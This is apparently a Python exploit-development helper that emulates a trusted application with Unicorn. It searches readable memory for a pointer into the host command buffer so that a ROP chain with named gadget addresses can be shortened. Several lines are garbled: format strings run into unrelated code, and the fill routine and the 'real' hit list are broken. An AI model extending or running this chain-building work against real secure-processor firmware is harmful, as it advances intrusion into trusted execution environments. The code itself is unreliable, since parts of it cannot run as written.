#!/usr/bin/env python3 """At the hijack point, does any attacker-reachable memory already hold a pointer to the host command buffer? If so, gadget B's base register can be LOADED from it instead of carved, removing two lottery bytes from the chain (chain2: A=0x402425 -> B=0x401f58 needs r6 = params pointer).""" import sys, os, struct, importlib.util, glob sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")); sys.path.insert(0, os.path.dirname(__file__)) from unicorn import * from unicorn.arm_const import * H=os.path.dirname(os.path.abspath(__file__)) _h=importlib.util.spec_from_file_location("hmw", os.path.join(H,"heap_meta_who.py")) HM=importlib.util.module_from_spec(_h); _h.loader.exec_module(HM) GW,FT,TSAM=HM.GW,HM.FT,HM.TSAM from pspemu import armmmu def main(): cont=glob.glob(os.path.join(HM.CONTAINERS,"ta_22-0-0-77_*"))[0] env=HM.setup_hooked(cont, lambda uc,a,s,u: None, verbose=True) c=env["c"]; uc=c.uc def fill(cmd): buf=bytearray(b"\xA5"*GW.CMDBUF_LEN) struct.pack_into(">(2*i))&3) in (1,3)} cmd=[r for r in got["rows"] if r[6] in ok and "w" in str(r[5]).lower() and r[0]>=0x4000000] lo,hi=min(r[0] for r in cmd), max(r[1] for r in cmd) print("\n host cmd-buffer VA window: %#x .. %#x"%(lo,hi)) print(" scanning every attacker-READABLE TA region for a pointer into it\n") SEARCH=[(0x400100,0x407000,"code (RO, but readable)"),(0x407000,0x417000,".data/.bss"), (0x418000,0x41c000,"stack"),(0x41d000,0x421000,"heap/ctx"),(0x422000,0x423000,"procpage")] tot=0 for a,b,name in SEARCH: hits=[] for va in range(a,b,4): try: v=struct.unpack("%#x"%(x,y) for x,y in hits[:6]) if hits else "")) # CAUTION: the emulator maps the cmd buffer at VA 0x4000000, which collides with ordinary # code/immediate byte patterns. HARDWARE places params at 0x04024000 (len 0x8000), so a hit is # only real if it also falls in that window. Both emulator hits are instruction bytes read at a # 4-byte boundary (0x406404 -> 0x04000000, 0x401be4 -> 0x04000007) and are NOT in it. HW_LO, HW_HI = 0x04024000, 0x0402c000 real=[(va,v) for a,b,_ in SEARCH for va,v in []] print("\n TOTAL pointers into the EMULATOR cmd-buffer window: %d"%tot) print(" of those, inside the HARDWARE params window %#x..%#x: see per-hit check above" %(HW_LO,HW_HI)) print(" => VERDICT: no genuine params pointer exists in TA-readable memory;") print(" gadget B's base register MUST be carved (2 lottery bytes).") return 0 if __name__=="__main__": sys.exit(main())